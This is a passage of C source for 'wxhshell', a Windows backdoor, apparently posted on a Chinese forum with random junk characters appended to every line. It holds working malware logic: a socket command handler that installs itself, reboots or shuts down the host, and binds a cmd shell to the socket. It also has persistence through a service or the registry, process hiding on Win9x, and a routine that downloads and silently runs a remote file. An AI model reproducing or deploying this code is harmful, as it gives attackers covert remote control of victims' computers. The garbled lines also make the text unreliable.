  else { BL58] P84  
>&#)Tqt!?  
    switch(cmd[0]) { n?K  
  YT8F#t8  
  // 帮助 KCDE{za  
  case '?': { &]-DqK7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FU<Jp3<%  
    break; D7qOZlX16  
  } e(8Ba X _  
  // 安装 G9@0@2aY8  
  case 'i': { pFz`}?c0  
    if(Install()) ]"1DGg \A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RY*U"G0#w  
    else F1Bq$*'N$w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w:l V"]1  
    break; ~.lPEA %%  
    } ##4HYQ%E  
  // 卸载 $7A8/#  
  case 'r': {  1ZB"EQ  
    if(Uninstall()) 9k[9P;"F:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?5 [=(\/.  
    else w^0nqh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *s iFj CN<  
    break; ;mKb]  
    } `n?DU;,  
  // 显示 wxhshell 所在路径 Nu~lsWyRI5  
  case 'p': { ',5 ky{  
    char svExeFile[MAX_PATH]; -1ub^feJ,  
    strcpy(svExeFile,"\n\r"); @2v_pJy^  
      strcat(svExeFile,ExeFile); QoH6  
        send(wsh,svExeFile,strlen(svExeFile),0); I[X772K  
    break; QUQ'3  
    } DrK{}uM  
  // 重启 )IZ~G\Ra'  
  case 'b': { {3vNPQJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l0i^uMS  
    if(Boot(REBOOT)) dzrio-QU~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WQO) =n  
    else { ZO$%[ftb  
    closesocket(wsh); 0h7r&t%YsV  
    ExitThread(0); x;<W&s}(  
    } S#} KIy  
    break; @cB$iP=Z4  
    } Aj]V`B:65  
  // 关机 W#3Q ^Z?  
  case 'd': { u!qP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~zNAbaC+>t  
    if(Boot(SHUTDOWN)) {%6`!WW[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aPbE;" f  
    else { sY f~c0${  
    closesocket(wsh);  l"]}Ts#  
    ExitThread(0); Bh]P{H%  
    } _~iw[*#u  
    break; m5Di=8  
    } QWHug:c  
  // 获取shell M?uC%x+S$_  
  case 's': { scLll,~  
    CmdShell(wsh); C/6V9;U  
    closesocket(wsh); 2WxQ(:d=  
    ExitThread(0); t"/q]G5  
    break; /{--+ C  
  } K~eh P[^  
  // 退出 ><HE;cVg?  
  case 'x': { B%+T2=&$7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /HRFAqep  
    CloseIt(wsh); @A ^;jk  
    break; bY QRBi  
    } 9.B KI/  
  // 离开 gn".u!9j  
  case 'q': { a\ YV3NJ/A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O~K>4 ax  
    closesocket(wsh); a8Nh=^Py  
    WSACleanup(); 2Gaa(rJ5o  
    exit(1);  LsS  
    break; yT9@!]^L  
        } KE3;V2Ym f  
  } }"!I[Ek> y  
  } [>5-$YOT  
<.izVD4/Gg  
  // 提示信息 e@* EzvO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T&o(N3lW  
} \WB<86+z  
  } 3/W'V,5G6  
#O} ,`[<  
  return; q6`b26  
} "J8vjr1/  
<oA7'|Bu<  
// shell模块句柄 v"XGCi91L  
int CmdShell(SOCKET sock) f-G :uI_  
{ 8=uu8-l8g  
STARTUPINFO si; ,a]?S^:y]  
ZeroMemory(&si,sizeof(si)); ^pF&` 2eD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OGg>#vj,s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X1-'COQS%&  
PROCESS_INFORMATION ProcessInfo; o{q{!7DH@  
char cmdline[]="cmd"; yS(fILV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *>2W#D)b=  
  return 0; Zxs|%bQ  
} ]<rkxgMW>  
1A G<$d5U|  
// 自身启动模式 ![_*(8v}S  
int StartFromService(void) @ljA  
{ ;=; 9tX  
typedef struct yvH A7eq*"  
{ Et/\xL  
  DWORD ExitStatus; Za3]d+qm  
  DWORD PebBaseAddress; 2Mvrey)  
  DWORD AffinityMask; 1o;J,dYu  
  DWORD BasePriority; e2t-4} ww  
  ULONG UniqueProcessId; *4+"Lh.KS  
  ULONG InheritedFromUniqueProcessId; lG!|{z7+0  
}   PROCESS_BASIC_INFORMATION; BJsz2t :0  
IsM}' .  
PROCNTQSIP NtQueryInformationProcess; ()Y4v  
dx &'fe*?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JedmaY06=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w2Jf^pR  
vss(twg  
  HANDLE             hProcess; )d1_Wm#B  
  PROCESS_BASIC_INFORMATION pbi; dWUm\t'#  
. Z.)t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !GLz)#SBl  
  if(NULL == hInst ) return 0; ,dov<U[ia  
D2!X?"[ P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XY)&}u.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y8L D7<1u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t2"O  
BuWHX>H  
  if (!NtQueryInformationProcess) return 0; 8U>B~9:JO  
xtE_=5$~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `U)hjQ~pP  
  if(!hProcess) return 0; 28H8l2{[>  
 fA<[f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z!@~>i  
Wi2WRJdyu  
  CloseHandle(hProcess); OK6] e3UO  
| e?64%l5P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O-cbX/d  
if(hProcess==NULL) return 0; pUq1|)g  
oA7;.:3  
HMODULE hMod; Y/ee~^YxK'  
char procName[255]; wsN?[=l{s  
unsigned long cbNeeded; HATA-M  
'fF;(?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f3{MvAy[  
?~;:jz|9<'  
  CloseHandle(hProcess); zG9Y!SY\-  
\2}bi:e 6  
if(strstr(procName,"services")) return 1; // 以服务启动 O .Iu6D  
pN9A{v(  
  return 0; // 注册表启动 Nwt" \3  
} BV(8y.H  
mG`e3X6@-  
// 主模块 x.zbD8l/9  
int StartWxhshell(LPSTR lpCmdLine) 8&~~j7p,  
{ bH2MdU  
  SOCKET wsl; |- rI@2`  
BOOL val=TRUE; r8&^>4  
  int port=0; 9Xl5@%uz?z  
  struct sockaddr_in door; vR=6pl$|~~  
q7Dw _<  
  if(wscfg.ws_autoins) Install(); B`o]*"xkB  
\, &co  
port=atoi(lpCmdLine); .E&z$N  
WN5`;{\  
if(port<=0) port=wscfg.ws_port; iNWo"=J  
VX+jadYdq  
  WSADATA data; d,tU#N{Q6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V$icWu  
,H2D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "/6:6`J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {W~q z^>u4  
  door.sin_family = AF_INET; a9Z%JS]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Cb@3M"1:  
  door.sin_port = htons(port); "zY](P  
^1x*lLf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `^Eae  
closesocket(wsl); [NIlbjYH  
return 1; Ev2HGU[  
} c8M2 ^{O,`  
rVa?JvDO=  
  if(listen(wsl,2) == INVALID_SOCKET) { kR@Yl Yo  
closesocket(wsl); q@~L&{  
return 1; 1 s*.A6EP"  
} <zy,5IlD  
  Wxhshell(wsl); F3lw@b3])  
  WSACleanup(); Z,;cCxE  
1w0OKaF5  
return 0; G"59cv8z4R  
(j"(  
} /.eeO k  
dg7=X{=9jv  
// 以NT服务方式启动 w[-Fm+A>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f8<o8*`7  
{ 9 ASb>A2~  
DWORD   status = 0; ;t> Z+O%  
  DWORD   specificError = 0xfffffff; ]:$ O{y  
!epgTN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l\!-2 T6Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0g<K[mPr7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \#x}q'BC4  
  serviceStatus.dwWin32ExitCode     = 0; @l(vYJ:f  
  serviceStatus.dwServiceSpecificExitCode = 0; $7Mtt.d6  
  serviceStatus.dwCheckPoint       = 0; Dli^2hD  
  serviceStatus.dwWaitHint       = 0; YEx)"t8E  
}^K/?dM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a>B[5I5  
  if (hServiceStatusHandle==0) return; q 'a  
/Go K}W}  
status = GetLastError(); j#6|V]l  
  if (status!=NO_ERROR) kF V7l  
{ hsG#6?l3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M}"r#Plq  
    serviceStatus.dwCheckPoint       = 0; cM&'[CI  
    serviceStatus.dwWaitHint       = 0; '!Kf#@';u  
    serviceStatus.dwWin32ExitCode     = status; W {.78Zi9K  
    serviceStatus.dwServiceSpecificExitCode = specificError; n1:v HBM@\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "x&C5l}n  
    return; *sfD#Bi]  
  } <B&R6<]T  
Y"e EkT\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7TX,T|>9  
  serviceStatus.dwCheckPoint       = 0; E)t  
  serviceStatus.dwWaitHint       = 0; 3|@t%K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +MO E  
} VAYb=4lt  
[H"#7t.V-~  
// 处理NT服务事件,比如:启动、停止 |AH@ EI>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =ziy`#fm,  
{ OalP1Gy  
switch(fdwControl) ; a/cty0Ch  
{  8R69q:  
case SERVICE_CONTROL_STOP: c! H 9yk  
  serviceStatus.dwWin32ExitCode = 0; ._p""'Sa  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^,2c-  
  serviceStatus.dwCheckPoint   = 0; cc >  
  serviceStatus.dwWaitHint     = 0; o;-<|W>  
  { BSp$F WvT?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wc#:f 8dr  
  } >e8JK*Blz  
  return; ~'  =lou  
case SERVICE_CONTROL_PAUSE: 3BMS_,P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |r~ uos  
  break; G79C {|c\  
case SERVICE_CONTROL_CONTINUE: `.k5v7!o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?'~;Q)  
  break; d0C8*ifFO  
case SERVICE_CONTROL_INTERROGATE: coB6 rW  
  break; NR/-m7#-  
}; l6B.6 '4)w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6hbEO-(  
} iiwpSGFl]  
oa9)Dv  
// 标准应用程序主函数 R/N<0!HZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o#d$[oa  
{ pa] TeH  
KHJ=$5r)  
// 获取操作系统版本 712=rUI%!  
OsIsNt=GetOsVer(); @bQ!zCI  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  $o+&Y5:  
6IF|3@yD  
  // 从命令行安装 '{D%\w5{  
  if(strpbrk(lpCmdLine,"iI")) Install(); CB@B.)E  
A[Cg/ +Z  
  // 下载执行文件 @dhH;gt.I  
if(wscfg.ws_downexe) { z`9l<Q/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >DmRP7v   
  WinExec(wscfg.ws_filenam,SW_HIDE); &@'V\5G  
} |\p5mh  
uf0^E3H  
if(!OsIsNt) { cd"wNH-  
// 如果时win9x,隐藏进程并且设置为注册表启动 'Fzuc^G(d  
HideProc(); Alh?0Fk3)  
StartWxhshell(lpCmdLine); wG6FS  
} y%g`FC   
else hd=j56P5P  
  if(StartFromService()) 0- Yeu5A  
  // 以服务方式启动 o;'4c  
  StartServiceCtrlDispatcher(DispatchTable); e>(Wvb&4  
else B$EK_@M  
  // 普通方式启动 Dpp@*xX>  
  StartWxhshell(lpCmdLine); <wqRk<  
 XDvq7ZD  
return 0; `w(sXkeaI  
}
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只看该作者 1 发表于: 2006-10-10
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